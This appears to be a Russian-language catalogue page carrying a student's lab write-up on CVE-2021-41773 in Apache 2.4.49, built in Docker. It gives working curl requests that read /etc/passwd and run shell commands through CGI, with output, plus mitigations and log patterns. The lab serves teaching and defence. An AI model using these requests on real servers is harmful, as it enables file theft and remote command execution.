Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Apache-CVE-2021-41773 — WHS 4-й набор Ли Хису. Сдача задания kr-vulhub. | Kitploit
Инструменты/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4-й набор Ли Хису. Сдача задания kr-vulhub.

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-41773 Apache HTTP Server Path Traversal

Участники

Ли Хи Су (@lheeeesoo)


Apache HTTP Server 2.4.49 содержит уязвимость: в процессе нормализации URL-путей сервер не блокирует должным образом закодированные пути верхнего уровня.

Используя такие значения, как .%2e, атакующий может выйти за пределы директории, которую веб-сервер настроен открывать. В среде, где разрешён доступ к внешним директориям, могут быть раскрыты внутренние файлы сервера, а при включённом CGI возможен запуск системной оболочки, что приводит к удалённому выполнению команд.

В данном проекте с помощью Docker была развёрнута среда Apache HTTP Server 2.4.49 и воспроизведены два сценария:

  • Раскрытие файла /etc/passwd с помощью Path Traversal
  • Удалённое выполнение команд с помощью CGI

Структура проекта

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

Настройка окружения

Выполните следующую команду, чтобы собрать Docker-образ и запустить контейнер:

root@kitploit:~
docker compose up -d --build

Состояние запущенного контейнера можно проверить следующей командой:

root@kitploit:~
docker ps

В результате выполнения проверьте, что контейнер находится в состоянии Up, а порт 8080 хоста связан с портом 80 контейнера.


Проверка штатной работы веб-сервиса

Откройте в браузере следующий адрес:

root@kitploit:~
http://localhost:8080

Если веб-страница Apache отображается корректно, значит окружение настроено успешно.


Проверка версии Apache

Проверьте версию Apache внутри контейнера следующей командой:

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

Результат выполнения:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

Подтверждено, что запущен Apache HTTP Server 2.4.49, подверженный уязвимости CVE-2021-41773.


Условия уязвимости

В данной лабораторной среде применяются следующие условия:

  • Используется Apache HTTP Server 2.4.49
  • Используются пути Alias и ScriptAlias
  • Разрешён доступ к директориям за пределами веб-корня
  • Включена функциональность CGI
  • Процесс Apache выполняется от учётной записи daemon

В конфигурации Apache разрешён доступ к корневой директории файловой системы, как показано ниже:

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

Кроме того, для выполнения CGI использована следующая конфигурация:

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

Следующий запрос использует закодированный путь верхнего уровня для доступа к файлу /etc/passwd внутри контейнера:

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Значение .%2e после URL-декодирования обрабатывается как ...

Таким образом, атакующий может несколько раз подняться вверх по каталогам относительно пути Alias и получить доступ к файлу /etc/passwd.

Результат выполнения:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

Файл /etc/passwd содержит информацию об учётных записях системы: имена пользователей, UID, GID, домашние директории и командные оболочки входа.

Пароли в нём не хранятся, однако внутренний файл сервера, к которому обычный внешний пользователь не должен иметь доступа, был раскрыт одним лишь HTTP-запросом, что подтверждает уязвимость раскрытия информации.

В реальной рабочей среде тем же способом могут быть раскрыты следующие конфиденциальные данные:

  • Файлы конфигурации приложений
  • Данные для подключения к базе данных
  • API-ключи и учётные данные
  • Исходный код
  • Файлы журналов
  • Сертификаты и закрытые ключи

Выполнение команд через CGI

Следующий запрос использует Path Traversal для доступа к /bin/sh и выполняет команду whoami:

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Результат выполнения:

root@kitploit:~
daemon

Поскольку путь /cgi-bin/ настроен через ScriptAlias, Apache не просто читает файлы в этой директории, а выполняет их как CGI-программы.

После доступа к /bin/sh через Path Traversal команды, переданные в теле запроса, выполняются с правами учётной записи, под которой работает Apache.

В данной среде Apache выполняется под следующей учётной записью:

root@kitploit:~
User daemon
Group daemon

Поэтому и результат выполнения команды выводится от имени учётной записи daemon.

Хотя это и не права root, возможны следующие дополнительные угрозы:

  • Изменение файлов веб-приложения
  • Похищение файлов конфигурации и учётных данных
  • Загрузка и запуск вредоносных файлов
  • Разведка во внутренней сети
  • Повышение привилегий с использованием других уязвимостей

Запуск PoC-скрипта

Вместо отдельных команд можно воспользоваться PoC-скриптом, чтобы за один раз проверить штатную работу сервиса, Path Traversal и удалённое выполнение команд.

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

Скрипт последовательно проверяет следующие пункты:

root@kitploit:~
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행


Меры противодействия

Обновление версии Apache

Не следует использовать Apache HTTP Server 2.4.49; необходимо обновиться до последней версии с установленными патчами безопасности.

Блокировка доступа к корневой директории

В рабочей среде доступ к корневой директории файловой системы должен быть запрещён по умолчанию.

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

Разрешайте отдельно только необходимые веб-директории.

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

Отключение неиспользуемого CGI

Если функциональность CGI не требуется, отключите следующие компоненты:

  • mod_cgi
  • ScriptAlias
  • ExecCGI

Применение принципа минимальных привилегий

Процесс Apache должен запускаться не от root, а от ограниченной служебной учётной записи; также следует минимизировать список файлов и директорий, доступных этой учётной записи.

Мониторинг журналов

Необходимо обнаруживать и блокировать запросы, содержащие следующие аномальные пути:

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

Завершение работы окружения

root@kitploit:~
docker compose down

Заключение

В рамках данной лабораторной работы мы собрали Apache HTTP Server 2.4.49 из Dockerfile и развернули воспроизводимую уязвимую среду с помощью Docker Compose.

С помощью Path Traversal-запроса было подтверждено раскрытие файла /etc/passwd внутри контейнера, к которому обычный веб-пользователь не должен иметь доступа.

Кроме того, в среде с включённым CGI было подтверждено, что можно получить доступ к /bin/sh и выполнять системные команды с правами daemon — учётной записи, под которой работает Apache.

Таким образом, подтверждено, что CVE-2021-41773 — это уязвимость, которая приводит не только к раскрытию путей, но и, в зависимости от конфигурации, к удалённому выполнению команд.


Справочные материалы

  • Уязвимости безопасности Apache HTTP Server
  • NVD CVE-2021-41773
  • Документация Apache HTTP Server по сопоставлению URL
  • Документация Apache по CGI
Скачать инструмент